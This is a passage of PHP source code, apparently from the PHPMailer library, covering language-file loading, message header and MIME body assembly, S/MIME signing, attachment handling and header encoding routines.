$langcodes[] = $matches['lang'] . $matches['script'] . $matches['country']; } if (!empty($matches['country'])) { $langcodes[] = $matches['lang'] . $matches['country']; } if (!empty($matches['script'])) { $langcodes[] = $matches['lang'] . $matches['script']; } $langcodes[] = $matches['lang']; //Try and find a readable language file for the requested language. $foundFile = false; foreach ($langcodes as $code) { $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php'; if (static::fileIsAccessible($lang_file)) { $foundFile = true; break; } } if ($foundFile === false) { $foundlang = false; } else { $lines = file($lang_file); foreach ($lines as $line) { //Translation file lines look like this: //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.'; //These files are parsed as text and not PHP so as to avoid the possibility of code injection //See https://blog.stevenlevithan.com/archives/match-quoted-string $matches = []; if ( preg_match( '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/', $line, $matches ) && //Ignore unknown translation keys array_key_exists($matches[1], $PHPMAILER_LANG) ) { //Overwrite language-specific strings so we'll never have missing translation keys. $PHPMAILER_LANG[$matches[1]] = (string)$matches[3]; } } } } $this->language = $PHPMAILER_LANG; return $foundlang; //Returns false if language not found } /** * Get the array of strings for the current language. * * @return array */ public function getTranslations() { if (empty($this->language)) { $this->setLanguage(); // Set the default language. } return $this->language; } /** * Create recipient headers. * * @param string $type * @param array $addr An array of recipients, * where each recipient is a 2-element indexed array with element 0 containing an address * and element 1 containing a name, like: * [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']] * * @return string */ public function addrAppend($type, $addr) { $addresses = []; foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . static::$LE; } /** * Format an address for use in a message header. * * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like * ['joe@example.com', 'Joe User'] * * @return string */ public function addrFormat($addr) { if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided return $this->secureHeader($addr[0]); } return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>'; } /** * Word-wrap message. * For use with mailers that do not automatically perform wrapping * and for quoted-printable encoded messages. * Original written by philippe. * * @param string $message The message to wrap * @param int $length The line length to wrap to * @param bool $qp_mode Whether to run in Quoted-Printable mode * * @return string */ public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', static::$LE); } else { $soft_break = static::$LE; } //If utf-8 encoding is used, we will need to make sure we don't //split multibyte characters when we wrap $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); $lelen = strlen(static::$LE); $crlflen = strlen(static::$LE); $message = static::normalizeBreaks($message); //Remove a trailing line break if (substr($message, -$lelen) === static::$LE) { $message = substr($message, 0, -$lelen); } //Split message into lines $lines = explode(static::$LE, $message); //Message will be rebuilt in here $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode && (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', static::$LE); } else { $message .= $buf . $soft_break; } $buf = ''; } while ($word !== '') { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = (string) substr($word, $len); if ($word !== '') { $message .= $part . sprintf('=%s', static::$LE); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if ('' !== $buf_o && strlen($buf) > $length) { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . static::$LE; } return $message; } /** * Find the last character boundary prior to $maxLength in a utf-8 * quoted-printable encoded string. * Original written by Colin Brown. * * @param string $encodedText utf-8 QP text * @param int $maxLength Find the last character boundary prior to this length * * @return int */ public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { //Found start of encoded character byte within $lookBack block. //Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { //Single byte character. //If the encoded char was found at pos 0, it will fit //otherwise reduce maxLength to start of the encoded char if ($encodedCharPos > 0) { $maxLength -= $lookBack - $encodedCharPos; } $foundSplitPos = true; } elseif ($dec >= 192) { //First byte of a multi byte character //Reduce maxLength to split at start of character $maxLength -= $lookBack - $encodedCharPos; $foundSplitPos = true; } elseif ($dec < 192) { //Middle byte of a multi byte character, look further back $lookBack += 3; } } else { //No encoded character found $foundSplitPos = true; } } return $maxLength; } /** * Apply word wrapping to the message body. * Wraps the message body to the number of chars set in the WordWrap property. * You should only do this to plain-text bodies as wrapping HTML tags may break them. * This is called automatically by createBody(), so you don't need to call it yourself. */ public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } /** * Assemble message headers. * * @return string The assembled headers */ public function createHeader() { $result = ''; $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate); //The To header is created automatically by mail(), so needs to be omitted here if ('mail' !== $this->Mailer) { if ($this->SingleTo) { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } elseif (count($this->to) > 0) { $result .= $this->addrAppend('To', $this->to); } elseif (count($this->cc) === 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]); //sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } //sendmail and mail() extract Bcc from the header before sending if ( ( 'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer ) && count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } //mail() sets the subject itself if ('mail' !== $this->Mailer) { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 //https://tools.ietf.org/html/rfc5322#section-3.6.4 if ( '' !== $this->MessageID && preg_match( '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' . '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' . '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' . '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' . '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di', $this->MessageID ) ) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine('Message-ID', $this->lastMessageID); if (null !== $this->Priority) { $result .= $this->headerLine('X-Priority', $this->Priority); } if ('' === $this->XMailer) { //Empty string for default X-Mailer header $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)' ); } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') { //Some string $result .= $this->headerLine('X-Mailer', trim($this->XMailer)); } //Other values result in no X-Mailer header if ('' !== $this->ConfirmReadingTo) { $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } //Add custom headers foreach ($this->CustomHeader as $header) { $result .= $this->headerLine( trim($header[0]), $this->encodeHeader(trim($header[1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } /** * Get the message MIME type headers. * * @return string */ public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; default: //Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $ismultipart = false; break; } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $this->Encoding) { //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if (static::ENCODING_8BIT === $this->Encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT); } //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } return $result; } /** * Returns the whole MIME message. * Includes complete headers and body. * Only valid post preSend(). * * @see PHPMailer::preSend() * * @return string */ public function getSentMIMEMessage() { return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) . static::$LE . static::$LE . $this->MIMEBody; } /** * Create a unique ID to use for boundaries. * * @return string */ protected function generateId() { $len = 32; //32 bytes = 256 bits $bytes = ''; if (function_exists('random_bytes')) { try { $bytes = random_bytes($len); } catch (\Exception $e) { //Do nothing } } elseif (function_exists('openssl_random_pseudo_bytes')) { /** @noinspection CryptographicallySecureRandomnessInspection */ $bytes = openssl_random_pseudo_bytes($len); } if ($bytes === '') { //We failed to produce a proper random string, so make do. //Use a hash to force the length to the same as the other methods $bytes = hash('sha256', uniqid((string) mt_rand(), true), true); } //We don't care about messing up base64 format here, just want a random string return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true))); } /** * Assemble the message body. * Returns an empty string on failure. * * @throws Exception * * @return string The assembled message body */ public function createBody() { $body = ''; //Create unique IDs and preset boundaries $this->setBoundaries(); if ($this->sign_key_file) { $body .= $this->getMailMIME() . static::$LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) { $bodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $bodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the body part only if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) { $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = static::ENCODING_7BIT; //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit $altBodyCharSet = static::CHARSET_ASCII; } //If lines are too long, and we're not already using an encoding that will shorten them, //change to quoted-printable transfer encoding for the alt body part only if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; } //Use this as a preamble in all multipart message types $mimepre = ''; switch ($this->message_type) { case 'inline': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= static::$LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->getBoundary( $this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; if (!empty($this->Ical)) { $method = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $imethod) { if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) { $method = $imethod; break; } } $body .= $this->getBoundary( $this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method, '' ); $body .= $this->encodeString($this->Ical, $this->Encoding); } $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding ); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= static::$LE; $body .= $this->textLine('--' . $this->boundary[2]); $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";'); $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $body .= static::$LE; $body .= $this->getBoundary( $this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding ); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= static::$LE; $body .= $this->attachAll('inline', $this->boundary[3]); $body .= static::$LE; $body .= $this->endBoundary($this->boundary[2]); $body .= static::$LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; default: //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types //Reset the `Encoding` property in case we changed it for line length reasons $this->Encoding = $bodyEncoding; $body .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $body = ''; if ($this->exceptions) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new Exception($this->lang('extension_missing') . 'openssl'); } $file = tempnam(sys_get_temp_dir(), 'srcsign'); $signed = tempnam(sys_get_temp_dir(), 'mailsign'); file_put_contents($file, $body); //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 if (empty($this->sign_extracerts_file)) { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [] ); } else { $sign = @openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file ); } @unlink($file); if ($sign) { $body = file_get_contents($signed); @unlink($signed); //The message returned by openssl contains both headers and body, so need to split them up $parts = explode("\n\n", $body, 2); $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; $body = $parts[1]; } else { @unlink($signed); throw new Exception($this->lang('signing') . openssl_error_string()); } } catch (Exception $exc) { $body = ''; if ($this->exceptions) { throw $exc; } } } return $body; } /** * Get the boundaries that this message will use * @return array */ public function getBoundaries() { if (empty($this->boundary)) { $this->setBoundaries(); } return $this->boundary; } /** * Return the start of a message boundary. * * @param string $boundary * @param string $charSet * @param string $contentType * @param string $encoding * * @return string */ protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if ('' === $charSet) { $charSet = $this->CharSet; } if ('' === $contentType) { $contentType = $this->ContentType; } if ('' === $encoding) { $encoding = $this->Encoding; } $result .= $this->textLine('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= static::$LE; //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); } $result .= static::$LE; return $result; } /** * Return the end of a message boundary. * * @param string $boundary * * @return string */ protected function endBoundary($boundary) { return static::$LE . '--' . $boundary . '--' . static::$LE; } /** * Set the message type. * PHPMailer only supports some preset message types, not arbitrary MIME structures. */ protected function setMessageType() { $type = []; if ($this->alternativeExists()) { $type[] = 'alt'; } if ($this->inlineImageExists()) { $type[] = 'inline'; } if ($this->attachmentExists()) { $type[] = 'attach'; } $this->message_type = implode('_', $type); if ('' === $this->message_type) { //The 'plain' message_type refers to the message having a single body element, not that it is plain-text $this->message_type = 'plain'; } } /** * Format a header line. * * @param string $name * @param string|int $value * * @return string */ public function headerLine($name, $value) { return $name . ': ' . $value . static::$LE; } /** * Return a formatted mail line. * * @param string $value * * @return string */ public function textLine($value) { return $value . static::$LE; } /** * Add an attachment from a path on the filesystem. * Never use a user-supplied path to a file! * Returns false if the file could not be found or read. * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client. * If you need to do that, fetch the resource yourself and pass it in via a local file or string. * * @param string $path Path to the attachment * @param string $name Overrides the attachment name * @param string $encoding File encoding (see $Encoding) * @param string $type MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified * @param string $disposition Disposition to use * * @throws Exception * * @return bool */ public function addAttachment( $path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = 'attachment' ) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ('' === $type) { $type = static::filenameToType($path); } $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME); if ('' === $name) { $name = $filename; } if (!$this->validateEncoding($encoding)) { throw new Exception($this->lang('encoding') . $encoding); } $this->attachment[] = [ 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, //isStringAttachment 6 => $disposition, 7 => $name, ]; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } return true; } /** * Return the array of attachments. * * @return array */ public function getAttachments() { return $this->attachment; } /** * Attach all file, string, and binary attachments to the message. * Returns an empty string on failure. * * @param string $disposition_type * @param string $boundary * * @throws Exception * * @return string */ protected function attachAll($disposition_type, $boundary) { //Return text of body $mime = []; $cidUniq = []; $incl = []; //Add all attachments foreach ($this->attachment as $attachment) { //Check if it is a valid disposition_filter if ($attachment[6] === $disposition_type) { //Check for string attachment $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = hash('sha256', serialize($attachment)); if (in_array($inclhash, $incl, true)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, static::$LE); //Only include a filename property if we have one if (!empty($name)) { $mime[] = sprintf( 'Content-Type: %s; name=%s%s', $type, static::quotedString($this->encodeHeader($this->secureHeader($name))), static::$LE ); } else { $mime[] = sprintf( 'Content-Type: %s%s', $type, static::$LE ); } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $encoding) { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE); } //Only set Content-IDs on inline attachments if ((string) $cid !== '' && $disposition === 'inline') { $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE; } //Allow for bypassing the Content-Disposition header if (!empty($disposition)) { $encoded_name = $this->encodeHeader($this->secureHeader($name)); if (!empty($encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s; filename=%s%s', $disposition, static::quotedString($encoded_name), static::$LE . static::$LE ); } else { $mime[] = sprintf( 'Content-Disposition: %s%s', $disposition, static::$LE . static::$LE ); } } else { $mime[] = static::$LE; } //Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding); } else { $mime[] = $this->encodeFile($path, $encoding); } if ($this->isError()) { return ''; } $mime[] = static::$LE; } } $mime[] = sprintf('--%s--%s', $boundary, static::$LE); return implode('', $mime); } /** * Encode a file attachment in requested format. * Returns an empty string on failure. * * @param string $path The full path to the file * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @return string */ protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { if (!static::fileIsAccessible($path)) { throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = file_get_contents($path); if (false === $file_buffer) { throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); } $file_buffer = $this->encodeString($file_buffer, $encoding); return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } return ''; } } /** * Encode a string in requested format. * Returns an empty string on failure. * * @param string $str The text to encode * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * * @throws Exception * * @return string */ public function encodeString($str, $encoding = self::ENCODING_BASE64) { $encoded = ''; switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split( base64_encode($str), static::STD_LINE_LENGTH, static::$LE ); break; case static::ENCODING_7BIT: case static::ENCODING_8BIT: $encoded = static::normalizeBreaks($str); //Make sure it ends with a line break if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) { $encoded .= static::$LE; } break; case static::ENCODING_BINARY: $encoded = $str; break; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang('encoding') . $encoding); if ($this->exceptions) { throw new Exception($this->lang('encoding') . $encoding); } break; } return $encoded; } /** * Encode a header value (not including its label) optimally. * Picks shortest of Q, B, or none. Result includes folding if needed. * See RFC822 definitions for phrase, comment and text positions. * * @param string $str The header value to encode * @param string $position What context the string will be used in * * @return string */ public function encodeHeader($str, $position = 'text') { $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { //Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str === $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return $encoded; } return "\"$encoded\""; } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; /* @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); //fallthrough case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($this->has8bitChars($str)) { $charset = $this->CharSet; } else { $charset = static::CHARSET_ASCII; } //Q/B encoding adds 8 chars and the charset ("` =?<charset>?[QB]?<content>?=`"). $overhead = 8 + strlen($charset); if ('mail' === $this->Mailer) { $maxlen = static::MAIL_MAX_LINE_LENGTH - $overhead; } else { $maxlen = static::MAX_LINE_LENGTH - $overhead; } //Select the encoding that produces the shortest output and/or prevents corruption. if ($matchcount > strlen($str) / 3) { //More than 1/3 of the content needs encoding, use B-encode. $encoding = 'B'; } elseif ($matchcount > 0) { //Less than 1/3 of the content needs encoding, use Q-encode. $encoding = 'Q'; } elseif (strlen($str) > $maxlen) { //No encoding needed, but value exceeds max line length, use Q-encode to prevent corruption. $encoding = 'Q'; } else { //No reformatting needed $encoding = false; } switch ($encoding) { case 'B': if ($this->hasMultiBytes($str)) { //Use a custom function which correctly encodes and wraps long //multibyte strings without breaking lines within a character $encoded = $this->base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; case 'Q': $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace('=' . static::$LE, "\n", trim($encoded)); $encoded = preg_replace('/^(.*)$/m', ' =?' . $charset . "?$encoding?\\1?=", $encoded); break; default: return $str; } return trim(static::normalizeBreaks($encoded)); } /** * Check if a string contains multi-byte characters. * * @param string $str multi-byte text to wrap encode * * @return bool */ public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return strlen($str) > mb_strlen($str, $this->CharSet); } //Assume no multibytes (we can't handle without mbstring functions anyway) return false; } /** * Does a string contain any 8-bit chars (in any charset)? * * @param string $text * * @return bool */ public function has8bitChars($text) { return (bool) preg_match('/[\x80-\xFF]/', $text); } /** * Encode and wrap long multibyte strings for mail headers * without breaking lines within a character. * Adapted from a function by paravoid. * * @see http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 * * @param string $str multi-byte text to wrap encode * @param string $linebreak string to use as linefeed/end-of-line * * @return string */ public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?'; $end = '?='; $encoded = ''; if (null === $linebreak) { $linebreak = static::$LE; } $mb_length = mb_strlen($str, $this->CharSet); //Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end); //Average multi-byte ratio $ratio = $mb_length / strlen($str); //Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75); $offset = 0; for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); ++$lookBack; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } //Chomp the last linefeed return substr($encoded, 0, -strlen($linebreak)); } /** * Encode a string in quoted-printable format. * According to RFC2045 section 6.7. * * @param string $string The text to encode * * @return string */ public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } /** * Encode a string using Q encoding. * * @see http://tools.ietf.org/html/rfc2047#section-4.2 * * @param string $str the text to encode * @param string $position Where the text is going to be used, see the RFC 